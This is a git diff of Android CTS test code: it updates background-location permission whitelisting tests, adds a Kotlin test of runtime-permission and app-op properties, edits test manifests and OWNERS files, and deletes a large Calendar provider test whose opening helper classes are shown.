+import static android.Manifest.permission.ACCESS_FINE_LOCATION;
import static android.Manifest.permission.READ_SMS;
import static android.permission.cts.PermissionUtils.eventually;
import static android.permission.cts.PermissionUtils.isGranted;
@@ -59,6 +61,7 @@
import java.io.FileInputStream;
import java.io.InputStream;
import java.io.OutputStream;
+import java.util.Arrays;
import java.util.Collections;
import java.util.Set;
import java.util.concurrent.CountDownLatch;
@@ -221,28 +224,32 @@
@Test
@AppModeFull
public void testLocationBackgroundPermissionWhitelistedAtInstall29() throws Exception {
- installApp(APK_USES_LOCATION_29, null, null);
+ installApp(APK_USES_LOCATION_29, null, new ArraySet<>(Arrays.asList(ACCESS_FINE_LOCATION,
+ ACCESS_BACKGROUND_LOCATION)));
assertAllRestrictedPermissionWhitelisted();
}
@Test
@AppModeFull
public void testLocationBackgroundPermissionNotWhitelistedAtInstall29() throws Exception {
- installApp(APK_USES_LOCATION_29, Collections.EMPTY_SET, null);
+ installApp(APK_USES_LOCATION_29, Collections.emptySet(),
+ Collections.singleton(ACCESS_FINE_LOCATION));
assertNoRestrictedPermissionWhitelisted();
}
@Test
@AppModeFull
public void testLocationBackgroundPermissionWhitelistedAtInstall22() throws Exception {
- installApp(APK_USES_LOCATION_22, null, null);
+ installApp(APK_USES_LOCATION_22, null, new ArraySet<>(Arrays.asList(ACCESS_FINE_LOCATION,
+ ACCESS_BACKGROUND_LOCATION)));
assertAllRestrictedPermissionWhitelisted();
}
@Test
@AppModeFull
public void testLocationBackgroundPermissionNotWhitelistedAtInstall22() throws Exception {
- installApp(APK_USES_LOCATION_22, Collections.EMPTY_SET, null);
+ installApp(APK_USES_LOCATION_22, Collections.emptySet(),
+ Collections.singleton(ACCESS_FINE_LOCATION));
assertNoRestrictedPermissionWhitelisted();
}
@@ -918,20 +925,15 @@
private @NonNull Set<String> getPermissionsOfAppWithAnyOfFlags(int flags) throws Exception {
final PackageManager packageManager = getContext().getPackageManager();
-
- final PackageInfo packageInfo = packageManager.getPackageInfo(PKG,
- PackageManager.GET_PERMISSIONS);
-
- final Set<String> hardRestrictedPermissions = new ArraySet<>();
- for (String permission : packageInfo.requestedPermissions) {
+ final Set<String> restrictedPermissions = new ArraySet<>();
+ for (String permission : getRequestedPermissionsOfApp()) {
PermissionInfo permInfo = packageManager.getPermissionInfo(permission, 0);
if ((permInfo.flags & flags) != 0) {
- hardRestrictedPermissions.add(permission);
+ restrictedPermissions.add(permission);
}
}
-
- return hardRestrictedPermissions;
+ return restrictedPermissions;
}
private @NonNull Set<String> getRestrictedPermissionsOfApp() throws Exception {
@@ -939,6 +941,13 @@
PermissionInfo.FLAG_HARD_RESTRICTED | PermissionInfo.FLAG_SOFT_RESTRICTED);
}
+ private @NonNull String[] getRequestedPermissionsOfApp() throws Exception {
+ final PackageManager packageManager = getContext().getPackageManager();
+ final PackageInfo packageInfo = packageManager.getPackageInfo(PKG,
+ PackageManager.GET_PERMISSIONS);
+ return packageInfo.requestedPermissions;
+ }
+
private void assertAllRestrictedPermissionWhitelisted() throws Exception {
assertRestrictedPermissionWhitelisted(getRestrictedPermissionsOfApp());
}
@@ -1003,7 +1012,7 @@
possibleModes.add(AppOpsManager.MODE_IGNORED);
}
} else {
- possibleModes.add(AppOpsManager.MODE_DEFAULT);
+ possibleModes.add(AppOpsManager.MODE_IGNORED);
}
}
@@ -1124,6 +1133,8 @@
for (String permission : adjustedGrantedPermissions) {
packageManager.grantRuntimePermission(PKG, permission,
getContext().getUser());
+ packageManager.updatePermissionFlags(permission, PKG,
+ PackageManager.FLAG_PERMISSION_REVOKED_COMPAT, 0, getContext().getUser());
}
});
@@ -1131,7 +1142,7 @@
// applied until reviewed
runWithShellPermissionIdentity(() -> {
final PackageManager packageManager = getContext().getPackageManager();
- for (String permission : getRestrictedPermissionsOfApp()) {
+ for (String permission : getRequestedPermissionsOfApp()) {
packageManager.updatePermissionFlags(permission, PKG,
PackageManager.FLAG_PERMISSION_REVIEW_REQUIRED, 0,
getContext().getUser());
diff --git a/tests/tests/permission2/src/android/permission2/cts/RuntimePermissionProperties.kt b/tests/tests/permission2/src/android/permission2/cts/RuntimePermissionProperties.kt
new file mode 100644
index 0000000..26c6cc8
--- /dev/null
+++ b/tests/tests/permission2/src/android/permission2/cts/RuntimePermissionProperties.kt
@@ -0,0 +1,147 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.permission2.cts
+
+import android.Manifest.permission.ACCEPT_HANDOVER
+import android.Manifest.permission.ACCESS_COARSE_LOCATION
+import android.Manifest.permission.ACCESS_FINE_LOCATION
+import android.Manifest.permission.ACTIVITY_RECOGNITION
+import android.Manifest.permission.ADD_VOICEMAIL
+import android.Manifest.permission.ANSWER_PHONE_CALLS
+import android.Manifest.permission.BODY_SENSORS
+import android.Manifest.permission.CALL_PHONE
+import android.Manifest.permission.CAMERA
+import android.Manifest.permission.GET_ACCOUNTS
+import android.Manifest.permission.PACKAGE_USAGE_STATS
+import android.Manifest.permission.PROCESS_OUTGOING_CALLS
+import android.Manifest.permission.READ_CALENDAR
+import android.Manifest.permission.READ_CALL_LOG
+import android.Manifest.permission.READ_CELL_BROADCASTS
+import android.Manifest.permission.READ_CONTACTS
+import android.Manifest.permission.READ_EXTERNAL_STORAGE
+import android.Manifest.permission.READ_PHONE_NUMBERS
+import android.Manifest.permission.READ_PHONE_STATE
+import android.Manifest.permission.READ_SMS
+import android.Manifest.permission.RECEIVE_MMS
+import android.Manifest.permission.RECEIVE_SMS
+import android.Manifest.permission.RECEIVE_WAP_PUSH
+import android.Manifest.permission.RECORD_AUDIO
+import android.Manifest.permission.SEND_SMS
+import android.Manifest.permission.USE_SIP
+import android.Manifest.permission.WRITE_CALENDAR
+import android.Manifest.permission.WRITE_CALL_LOG
+import android.Manifest.permission.WRITE_CONTACTS
+import android.Manifest.permission.WRITE_EXTERNAL_STORAGE
+import android.Manifest.permission_group.UNDEFINED
+import android.app.AppOpsManager.permissionToOp
+import android.content.pm.PackageManager.GET_PERMISSIONS
+import android.content.pm.PermissionInfo.PROTECTION_DANGEROUS
+import android.content.pm.PermissionInfo.PROTECTION_FLAG_APPOP
+import android.os.Build
+import android.permission.PermissionManager
+import androidx.test.platform.app.InstrumentationRegistry
+import androidx.test.runner.AndroidJUnit4
+import com.google.common.truth.Truth.assertThat
+import org.junit.Test
+import org.junit.runner.RunWith
+
+@RunWith(AndroidJUnit4::class)
+class RuntimePermissionProperties {
+ private val context = InstrumentationRegistry.getInstrumentation().getTargetContext()
+ private val pm = context.packageManager
+
+ private val platformPkg = pm.getPackageInfo("android", GET_PERMISSIONS)
+ private val platformRuntimePerms = platformPkg.permissions
+ .filter { it.protection == PROTECTION_DANGEROUS }
+ private val platformBgPermNames = platformRuntimePerms.mapNotNull { it.backgroundPermission }
+
+ @Test
+ fun allRuntimeForegroundPermissionNeedAnAppOp() {
+ val platformFgPerms =
+ platformRuntimePerms.filter { !platformBgPermNames.contains(it.name) }
+
+ for (perm in platformFgPerms) {
+ assertThat(permissionToOp(perm.name)).named("AppOp for ${perm.name}").isNotNull()
+ }
+ }
+
+ @Test
+ fun groupOfRuntimePermissionsShouldBeUnknown() {
+ for (perm in platformRuntimePerms) {
+ assertThat(perm.group).named("Group of ${perm.name}").isEqualTo(UNDEFINED)
+ }
+ }
+
+ @Test
+ fun allAppOpPermissionNeedAnAppOp() {
+ val platformAppOpPerms = platformPkg.permissions
+ .filter { (it.protectionFlags and PROTECTION_FLAG_APPOP) != 0 }
+ .filter {
+ // Grandfather incomplete definition of PACKAGE_USAGE_STATS
+ it.name != PACKAGE_USAGE_STATS
+ }
+
+ for (perm in platformAppOpPerms) {
+ assertThat(permissionToOp(perm.name)).named("AppOp for ${perm.name}").isNotNull()
+ }
+ }
+
+ /**
+ * The permission of a background permission is the one of its foreground permission
+ */
+ @Test
+ fun allRuntimeBackgroundPermissionCantHaveAnAppOp() {
+ val platformBgPerms =
+ platformRuntimePerms.filter { platformBgPermNames.contains(it.name) }
+
+ for (perm in platformBgPerms) {
+ assertThat(permissionToOp(perm.name)).named("AppOp for ${perm.name}").isNull()
+ }
+ }
+
+ /**
+ * Commonly a new runtime permission is created by splitting an old one into twice
+ */
+ @Test
+ fun runtimePermissionsShouldHaveBeenSplitFromPreviousPermission() {
+ // Runtime permissions in Android P
+ val expectedPerms = mutableSetOf(READ_CONTACTS, WRITE_CONTACTS, GET_ACCOUNTS, READ_CALENDAR,
+ WRITE_CALENDAR, SEND_SMS, RECEIVE_SMS, READ_SMS, RECEIVE_MMS, RECEIVE_WAP_PUSH,
+ READ_CELL_BROADCASTS, READ_EXTERNAL_STORAGE, WRITE_EXTERNAL_STORAGE,
+ ACCESS_FINE_LOCATION, ACCESS_COARSE_LOCATION, READ_CALL_LOG, WRITE_CALL_LOG,
+ PROCESS_OUTGOING_CALLS, READ_PHONE_STATE, READ_PHONE_NUMBERS, CALL_PHONE,
+ ADD_VOICEMAIL, USE_SIP, ANSWER_PHONE_CALLS, ACCEPT_HANDOVER, RECORD_AUDIO, CAMERA,
+ BODY_SENSORS)
+
+ // Add permission split since P
+ for (sdkVersion in Build.VERSION_CODES.P + 1..Build.VERSION_CODES.CUR_DEVELOPMENT + 1) {
+ for (splitPerm in
+ context.getSystemService(PermissionManager::class.java)!!.splitPermissions) {
+ if (splitPerm.targetSdk == sdkVersion &&
+ expectedPerms.contains(splitPerm.splitPermission)) {
+ expectedPerms.addAll(splitPerm.newPermissions)
+ }
+ }
+ }
+
+ // Add runtime permission added in Q which were _not_ split from a previously existing
+ // runtime permission
+ expectedPerms.add(ACTIVITY_RECOGNITION)
+
+ assertThat(expectedPerms).containsExactlyElementsIn(platformRuntimePerms.map { it.name })
+ }
+}
diff --git a/tests/tests/preference/AndroidTest.xml b/tests/tests/preference/AndroidTest.xml
index b3c7a96..625ff4d 100644
--- a/tests/tests/preference/AndroidTest.xml
+++ b/tests/tests/preference/AndroidTest.xml
@@ -18,6 +18,7 @@
<option name="config-descriptor:metadata" key="component" value="uitoolkit" />
<option name="config-descriptor:metadata" key="parameter" value="instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<option name="not-shardable" value="true" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
diff --git a/tests/tests/preference/OWNERS b/tests/tests/preference/OWNERS
index 827134e..0ea8182 100644
--- a/tests/tests/preference/OWNERS
+++ b/tests/tests/preference/OWNERS
@@ -1,3 +1,4 @@
+# Bug component: 25700
lpf@google.com
pavlis@google.com
clarabayarri@google.com
diff --git a/tests/tests/provider/AndroidManifest.xml b/tests/tests/provider/AndroidManifest.xml
index 9417e3f..512a02f 100644
--- a/tests/tests/provider/AndroidManifest.xml
+++ b/tests/tests/provider/AndroidManifest.xml
@@ -26,8 +26,6 @@
<uses-permission android:name="android.permission.USE_CREDENTIALS" />
<uses-permission android:name="android.permission.READ_SYNC_SETTINGS" />
<uses-permission android:name="android.permission.WRITE_SYNC_SETTINGS" />
- <uses-permission android:name="android.permission.WRITE_CALENDAR" />
- <uses-permission android:name="android.permission.READ_CALENDAR" />
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
<uses-permission android:name="android.permission.WRITE_SETTINGS" />
@@ -54,17 +52,6 @@
</intent-filter>
</activity>
- <service android:name="android.provider.cts.contacts.account.MockAccountService"
- process="android.provider.cts"
- android:exported="true">
- <intent-filter>
- <action android:name="android.accounts.AccountAuthenticator"/>
- </intent-filter>
-
- <meta-data android:name="android.accounts.AccountAuthenticator"
- android:resource="@xml/contactprovider_authenticator"/>
- </service>
-
<service android:name=".MockInputMethodService"
android:label="UserDictionaryInputMethodTestService"
android:permission="android.permission.BIND_INPUT_METHOD">
@@ -75,14 +62,6 @@
android:resource="@xml/method" />
</service>
- <provider
- android:name=".contacts.DummyGalProvider"
- android:authorities="android.provider.cts.contacts.dgp"
- android:exported="true"
- android:readPermission="android.permission.BIND_DIRECTORY_SEARCH" >
- <meta-data android:name="android.content.ContactDirectory" android:value="true" />
- </provider>
-
<provider android:name="android.provider.cts.MockFontProvider"
android:authorities="android.provider.fonts.cts.font"
android:exported="false"
@@ -143,10 +122,5 @@
<meta-data android:name="listener"
android:value="com.android.cts.runner.CtsTestRunListener" />
</instrumentation>
-
- <instrumentation android:name="android.provider.cts.CalendarTest$CalendarEmmaTestRunner"
- android:targetPackage="android.provider.cts"
- android:label="Augmented CTS tests of Calendar provider"/>
-
</manifest>
diff --git a/tests/tests/provider/OWNERS b/tests/tests/provider/OWNERS
new file mode 100644
index 0000000..fea932d
--- /dev/null
+++ b/tests/tests/provider/OWNERS
@@ -0,0 +1,7 @@
+# Bug component: 1344
+jsharkey@android.com
+omakoto@google.com
+yamasani@google.com
+tgunn@google.com
+nicksauer@google.com
+nona@google.com
diff --git a/tests/tests/provider/res/raw/iso88591_11.mp3 b/tests/tests/provider/res/raw/iso88591_11.mp3
new file mode 100644
index 0000000..3760238
--- /dev/null
+++ b/tests/tests/provider/res/raw/iso88591_11.mp3
Binary files differ
diff --git a/tests/tests/provider/src/android/provider/cts/CalendarTest.java b/tests/tests/provider/src/android/provider/cts/CalendarTest.java
deleted file mode 100644
index fcd873a..0000000
--- a/tests/tests/provider/src/android/provider/cts/CalendarTest.java
+++ /dev/null
@@ -1,3798 +0,0 @@
-/*
- * Copyright (C) 2011 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.provider.cts;
-
-import android.content.BroadcastReceiver;
-import android.content.ContentResolver;
-import android.content.ContentUris;
-import android.content.ContentValues;
-import android.content.Context;
-import android.content.Entity;
-import android.content.EntityIterator;
-import android.content.Intent;
-import android.content.IntentFilter;
-import android.database.Cursor;
-import android.net.Uri;
-import android.os.Bundle;
-import android.os.Environment;
-import android.provider.CalendarContract;
-import android.provider.CalendarContract.Attendees;
-import android.provider.CalendarContract.CalendarEntity;
-import android.provider.CalendarContract.Calendars;
-import android.provider.CalendarContract.Colors;
-import android.provider.CalendarContract.Events;
-import android.provider.CalendarContract.EventsEntity;
-import android.provider.CalendarContract.ExtendedProperties;
-import android.provider.CalendarContract.Instances;
-import android.provider.CalendarContract.Reminders;
-import android.provider.CalendarContract.SyncState;
-import android.test.InstrumentationTestCase;
-import android.test.suitebuilder.annotation.MediumTest;
-import android.text.TextUtils;
-import android.text.format.DateUtils;
-import android.text.format.Time;
-import android.util.Log;
-
-import com.android.compatibility.common.util.PollingCheck;
-
-import java.util.ArrayList;
-import java.util.HashSet;
-import java.util.List;
-import java.util.Set;
-
-public class CalendarTest extends InstrumentationTestCase {
-
- private static final String TAG = "CalCTS";
- private static final String CTS_TEST_TYPE = "LOCAL";
-
- // an arbitrary int used by some tests
- private static final int SOME_ARBITRARY_INT = 143234;
-
- // 15 sec timeout for reminder broadcast (but shouldn't usually take this long).
- private static final int POLLING_TIMEOUT = 15000;
-
- // @formatter:off
- private static final String[] TIME_ZONES = new String[] {
- "UTC",
- "America/Los_Angeles",
- "Asia/Beirut",
- "Pacific/Auckland", };
- // @formatter:on
-
- private static final String SQL_WHERE_ID = Events._ID + "=?";
- private static final String SQL_WHERE_CALENDAR_ID = Events.CALENDAR_ID + "=?";
-
- private ContentResolver mContentResolver;
-
- /** If set, log verbose instance info when running recurrence tests. */
- private static final boolean DEBUG_RECURRENCE = false;
-
- private static class CalendarHelper {
-
- // @formatter:off
- public static final String[] CALENDARS_SYNC_PROJECTION = new String[] {
- Calendars._ID,
- Calendars.ACCOUNT_NAME,
- Calendars.ACCOUNT_TYPE,
- Calendars._SYNC_ID,
- Calendars.CAL_SYNC7,
- Calendars.CAL_SYNC8,
- Calendars.DIRTY,
- Calendars.NAME,
- Calendars.CALENDAR_DISPLAY_NAME,
- Calendars.CALENDAR_COLOR,
- Calendars.CALENDAR_COLOR_KEY,
- Calendars.CALENDAR_ACCESS_LEVEL,
- Calendars.VISIBLE,
- Calendars.SYNC_EVENTS,
- Calendars.CALENDAR_LOCATION,
- Calendars.CALENDAR_TIME_ZONE,
- Calendars.OWNER_ACCOUNT,
- Calendars.CAN_ORGANIZER_RESPOND,
- Calendars.CAN_MODIFY_TIME_ZONE,
- Calendars.MAX_REMINDERS,
- Calendars.ALLOWED_REMINDERS,
- Calendars.ALLOWED_AVAILABILITY,
- Calendars.ALLOWED_ATTENDEE_TYPES,
- Calendars.DELETED,
- Calendars.CAL_SYNC1,
- Calendars.CAL_SYNC2,
- Calendars.CAL_SYNC3,
- Calendars.CAL_SYNC4,
- Calendars.CAL_SYNC5,
- Calendars.CAL_SYNC6,
- };
- // @formatter:on
-
- private CalendarHelper() {} // do not instantiate this class
-
- /**
- * Generates the e-mail address for the Calendar owner. Use this for
- * Calendars.OWNER_ACCOUNT, Events.OWNER_ACCOUNT, and for Attendees.ATTENDEE_EMAIL
- * when you want a "self" attendee entry.
- */
- static String generateCalendarOwnerEmail(String account) {
- return "OWNER_" + account + "@example.com";
- }
-
- /**
- * Creates a new set of values for creating a single calendar with every
- * field.
- *
- * @param account The account name to create this calendar with
- * @param seed A number used to generate the values
- * @return A complete set of values for the calendar
- */
- public static ContentValues getNewCalendarValues(
- String account, int seed) {
- String seedString = Long.toString(seed);
- ContentValues values = new ContentValues();
- values.put(Calendars.ACCOUNT_TYPE, CTS_TEST_TYPE);
-
- values.put(Calendars.ACCOUNT_NAME, account);
- values.put(Calendars._SYNC_ID, "SYNC_ID:" + seedString);
- values.put(Calendars.CAL_SYNC7, "SYNC_V:" + seedString);
- values.put(Calendars.CAL_SYNC8, "SYNC_TIME:" + seedString);
- values.put(Calendars.DIRTY, 0);
- values.put(Calendars.OWNER_ACCOUNT, generateCalendarOwnerEmail(account));
-
- values.put(Calendars.NAME, seedString);
- values.put(Calendars.CALENDAR_DISPLAY_NAME, "DISPLAY_" + seedString);
-
- values.put(Calendars.CALENDAR_ACCESS_LEVEL, (seed % 8) * 100);
-
- values.put(Calendars.CALENDAR_COLOR, 0xff000000 + seed);
- values.put(Calendars.VISIBLE, seed % 2);
- values.put(Calendars.SYNC_EVENTS, 1); // must be 1 for recurrence expansion
- values.put(Calendars.CALENDAR_LOCATION, "LOCATION:" + seedString);
- values.put(Calendars.CALENDAR_TIME_ZONE, TIME_ZONES[seed % TIME_ZONES.length]);
- values.put(Calendars.CAN_ORGANIZER_RESPOND, seed % 2);
- values.put(Calendars.CAN_MODIFY_TIME_ZONE, seed % 2);
- values.put(Calendars.MAX_REMINDERS, 3);
- values.put(Calendars.ALLOWED_REMINDERS, "0,1,2"); // does not include SMS (3)
- values.put(Calendars.ALLOWED_ATTENDEE_TYPES, "0,1,2,3");
- values.put(Calendars.ALLOWED_AVAILABILITY, "0,1,2,3");
- values.put(Calendars.CAL_SYNC1, "SYNC1:" + seedString);
- values.put(Calendars.CAL_SYNC2, "SYNC2:" + seedString);
- values.put(Calendars.CAL_SYNC3, "SYNC3:" + seedString);
- values.put(Calendars.CAL_SYNC4, "SYNC4:" + seedString);
- values.put(Calendars.CAL_SYNC5, "SYNC5:" + seedString);
- values.put(Calendars.CAL_SYNC6, "SYNC6:" + seedString);
-
- return values;
- }
-
- /**
- * Creates a set of values with just the updates and modifies the
- * original values to the expected values
- */
- public static ContentValues getUpdateCalendarValuesWithOriginal(
- ContentValues original, int seed) {
- ContentValues values = new ContentValues();
- String seedString = Long.toString(seed);
-
- values.put(Calendars.CALENDAR_DISPLAY_NAME, "DISPLAY_" + seedString);
- values.put(Calendars.CALENDAR_COLOR, 0xff000000 + seed);
- values.put(Calendars.VISIBLE, seed % 2);
- values.put(Calendars.SYNC_EVENTS, seed % 2);
-
- original.putAll(values);
- original.put(Calendars.DIRTY, 1);
-
- return values;
- }
-
- public static int deleteCalendarById(ContentResolver resolver, long id) {
- return resolver.delete(Calendars.CONTENT_URI, Calendars._ID + "=?",
- new String[] { Long.toString(id) });
- }
-
- public static int deleteCalendarByAccount(ContentResolver resolver, String account) {
- return resolver.delete(Calendars.CONTENT_URI, Calendars.ACCOUNT_NAME + "=?",
- new String[] { account });
- }
-
- public static Cursor getCalendarsByAccount(ContentResolver resolver, String account) {
- String selection = Calendars.ACCOUNT_TYPE + "=?";
- String[] selectionArgs;
- if (account != null) {
- selection += " AND " + Calendars.ACCOUNT_NAME + "=?";
- selectionArgs = new String[2];
- selectionArgs[1] = account;
- } else {
- selectionArgs = new String[1];
- }
- selectionArgs[0] = CTS_TEST_TYPE;
-
- return resolver.query(Calendars.CONTENT_URI, CALENDARS_SYNC_PROJECTION, selection,
- selectionArgs, null);
- }
- }
-
- /**
- * Helper class for manipulating entries in the _sync_state table.
- */
- private static class SyncStateHelper {
- public static final String[] SYNCSTATE_PROJECTION = new String[] {
- SyncState._ID,
- SyncState.ACCOUNT_NAME,
- SyncState.ACCOUNT_TYPE,
- SyncState.DATA
- };
-
- private static final byte[] SAMPLE_SYNC_DATA = {
- (byte) 'H', (byte) 'e', (byte) 'l', (byte) 'l', (byte) 'o'
- };
-
- private SyncStateHelper() {} // do not instantiate
-
- /**
- * Creates a new set of values for creating a new _sync_state entry.
- */
- public static ContentValues getNewSyncStateValues(String account) {
- ContentValues values = new ContentValues();
- values.put(SyncState.DATA, SAMPLE_SYNC_DATA);
- values.put(SyncState.ACCOUNT_NAME, account);
- values.put(SyncState.ACCOUNT_TYPE, CTS_TEST_TYPE);
- return values;
- }
-
- /**
- * Retrieves the _sync_state entry with the specified ID.
- */
- public static Cursor getSyncStateById(ContentResolver resolver, long id) {
- Uri uri = ContentUris.withAppendedId(SyncState.CONTENT_URI, id);
- return resolver.query(uri, SYNCSTATE_PROJECTION, null, null, null);
- }
-
- /**
- * Retrieves the _sync_state entry for the specified account.
- */
- public static Cursor getSyncStateByAccount(ContentResolver resolver, String account) {
- assertNotNull(account);
- String selection = SyncState.ACCOUNT_TYPE + "=? AND " + SyncState.ACCOUNT_NAME + "=?";
- String[] selectionArgs = new String[] { CTS_TEST_TYPE, account };
-
- return resolver.query(SyncState.CONTENT_URI, SYNCSTATE_PROJECTION, selection,
- selectionArgs, null);
- }
-
- /**
- * Deletes the _sync_state entry with the specified ID. Always done as app.
- */
- public static int deleteSyncStateById(ContentResolver resolver, long id) {
- Uri uri = ContentUris.withAppendedId(SyncState.CONTENT_URI, id);
- return resolver.delete(uri, null, null);
- }
-
- /**
- * Deletes the _sync_state entry associated with the specified account. Can be done
- * as app or sync adapter.
- */
- public static int deleteSyncStateByAccount(ContentResolver resolver, String account,
- boolean asSyncAdapter) {
- Uri uri = SyncState.CONTENT_URI;
- if (asSyncAdapter) {
- uri = asSyncAdapter(uri, account, CTS_TEST_TYPE);
- }
- return resolver.delete(uri, SyncState.ACCOUNT_NAME + "=?",
- new String[] { account });
- }
- }
-
- // @formatter:off
- private static class EventHelper {
- public static final String[] EVENTS_PROJECTION = new String[] {
- Events._ID,
- Events.ACCOUNT_NAME,
- Events.ACCOUNT_TYPE,
- Events.OWNER_ACCOUNT,
- // Events.ORGANIZER_CAN_RESPOND, from Calendars
- // Events.CAN_CHANGE_TZ, from Calendars
- // Events.MAX_REMINDERS, from Calendars
- Events.CALENDAR_ID,
- // Events.CALENDAR_DISPLAY_NAME, from Calendars
- // Events.CALENDAR_COLOR, from Calendars
- // Events.CALENDAR_ACL, from Calendars
- // Events.CALENDAR_VISIBLE, from Calendars
- Events.SYNC_DATA3,
- Events.SYNC_DATA6,
- Events.TITLE,
- Events.EVENT_LOCATION,
- Events.DESCRIPTION,
- Events.STATUS,
- Events.SELF_ATTENDEE_STATUS,
- Events.DTSTART,
- Events.DTEND,
- Events.EVENT_TIMEZONE,
- Events.EVENT_END_TIMEZONE,
- Events.EVENT_COLOR,
- Events.EVENT_COLOR_KEY,
- Events.DURATION,
- Events.ALL_DAY,
- Events.ACCESS_LEVEL,
- Events.AVAILABILITY,
- Events.HAS_ALARM,
- Events.HAS_EXTENDED_PROPERTIES,
- Events.RRULE,
- Events.RDATE,
- Events.EXRULE,
- Events.EXDATE,
- Events.ORIGINAL_ID,
- Events.ORIGINAL_SYNC_ID,
- Events.ORIGINAL_INSTANCE_TIME,
- Events.ORIGINAL_ALL_DAY,
- Events.LAST_DATE,
- Events.HAS_ATTENDEE_DATA,
- Events.GUESTS_CAN_MODIFY,
- Events.GUESTS_CAN_INVITE_OTHERS,
- Events.GUESTS_CAN_SEE_GUESTS,
- Events.ORGANIZER,
- Events.DELETED,
- Events._SYNC_ID,
- Events.SYNC_DATA4,
- Events.SYNC_DATA5,
- Events.DIRTY,
- Events.SYNC_DATA8,
- Events.SYNC_DATA2,
- Events.SYNC_DATA1,
- Events.SYNC_DATA2,
- Events.SYNC_DATA3,
- Events.SYNC_DATA4,
- Events.MUTATORS,
- };
- // @formatter:on
-
- private EventHelper() {} // do not instantiate this class
-
- /**
- * Constructs a set of name/value pairs that can be used to create a Calendar event.
- * Various fields are generated from the seed value.
- */
- public static ContentValues getNewEventValues(
- String account, int seed, long calendarId, boolean asSyncAdapter) {
- String seedString = Long.toString(seed);
- ContentValues values = new ContentValues();
- values.put(Events.ORGANIZER, "ORGANIZER:" + seedString);
-
- values.put(Events.TITLE, "TITLE:" + seedString);
- values.put(Events.EVENT_LOCATION, "LOCATION_" + seedString);
-
- values.put(Events.CALENDAR_ID, calendarId);
-
- values.put(Events.DESCRIPTION, "DESCRIPTION:" + seedString);
- values.put(Events.STATUS, seed % 2); // avoid STATUS_CANCELED for general testing
-
- values.put(Events.DTSTART, seed);
- values.put(Events.DTEND, seed + DateUtils.HOUR_IN_MILLIS);
- values.put(Events.EVENT_TIMEZONE, TIME_ZONES[seed % TIME_ZONES.length]);
- values.put(Events.EVENT_COLOR, seed);
- // values.put(Events.EVENT_TIMEZONE2, TIME_ZONES[(seed +1) %
- // TIME_ZONES.length]);
- if ((seed % 2) == 0) {
- // Either set to zero, or leave unset to get default zero.
- // Must be 0 or dtstart/dtend will get adjusted.
- values.put(Events.ALL_DAY, 0);
- }
- values.put(Events.ACCESS_LEVEL, seed % 4);
- values.put(Events.AVAILABILITY, seed % 2);
- values.put(Events.HAS_EXTENDED_PROPERTIES, seed % 2);
- values.put(Events.HAS_ATTENDEE_DATA, seed % 2);
- values.put(Events.GUESTS_CAN_MODIFY, seed % 2);
- values.put(Events.GUESTS_CAN_INVITE_OTHERS, seed % 2);
- values.put(Events.GUESTS_CAN_SEE_GUESTS, seed % 2);
-
- // Default is STATUS_TENTATIVE (0). We either set it to that explicitly, or leave
- // it set to the default.
- if (seed != Events.STATUS_TENTATIVE) {
- values.put(Events.SELF_ATTENDEE_STATUS, Events.STATUS_TENTATIVE);
- }
-
- if (asSyncAdapter) {
- values.put(Events._SYNC_ID, "SYNC_ID:" + seedString);
- values.put(Events.SYNC_DATA4, "SYNC_V:" + seedString);
- values.put(Events.SYNC_DATA5, "SYNC_TIME:" + seedString);
- values.put(Events.SYNC_DATA3, "HTML:" + seedString);
- values.put(Events.SYNC_DATA6, "COMMENTS:" + seedString);
- values.put(Events.DIRTY, 0);
- values.put(Events.SYNC_DATA8, "0");
- } else {
- // only the sync adapter can set the DIRTY flag
- //values.put(Events.DIRTY, 1);
- }
- // values.put(Events.SYNC1, "SYNC1:" + seedString);
- // values.put(Events.SYNC2, "SYNC2:" + seedString);
- // values.put(Events.SYNC3, "SYNC3:" + seedString);
- // values.put(Events.SYNC4, "SYNC4:" + seedString);
- // values.put(Events.SYNC5, "SYNC5:" + seedString);
-// Events.RRULE,
-// Events.RDATE,
-// Events.EXRULE,
-// Events.EXDATE,
-// // Events.ORIGINAL_ID
-// Events.ORIGINAL_EVENT, // rename ORIGINAL_SYNC_ID
-// Events.ORIGINAL_INSTANCE_TIME,
-// Events.ORIGINAL_ALL_DAY,
-
- return values;
- }
-
- /**
- * Constructs a set of name/value pairs that can be used to create a recurring
- * Calendar event.
- *
- * A duration of "P1D" is treated as an all-day event.
- *
- * @param startWhen Starting date/time in RFC 3339 format
- * @param duration Event duration, in RFC 2445 duration format
- * @param rrule Recurrence rule
- * @return name/value pairs to use when creating event
- */
- public static ContentValues getNewRecurringEventValues(String account, int seed,
- long calendarId, boolean asSyncAdapter, String startWhen, String duration,
- String rrule) {
-
- // Set up some general stuff.
- ContentValues values = getNewEventValues(account, seed, calendarId, asSyncAdapter);
-
- // Replace the DTSTART field.
- String timeZone = values.getAsString(Events.EVENT_TIMEZONE);
- Time time = new Time(timeZone);
- time.parse3339(startWhen);
- values.put(Events.DTSTART, time.toMillis(false));
-
- // Add in the recurrence-specific fields, and drop DTEND.
- values.put(Events.RRULE, rrule);
- values.put(Events.DURATION, duration);
- values.remove(Events.DTEND);
-
- return values;
- }
-
- /**
- * Constructs the basic name/value pairs required for an exception to a recurring event.
- *
- * @param instanceStartMillis The start time of the instance
- * @return name/value pairs to use when creating event
- */
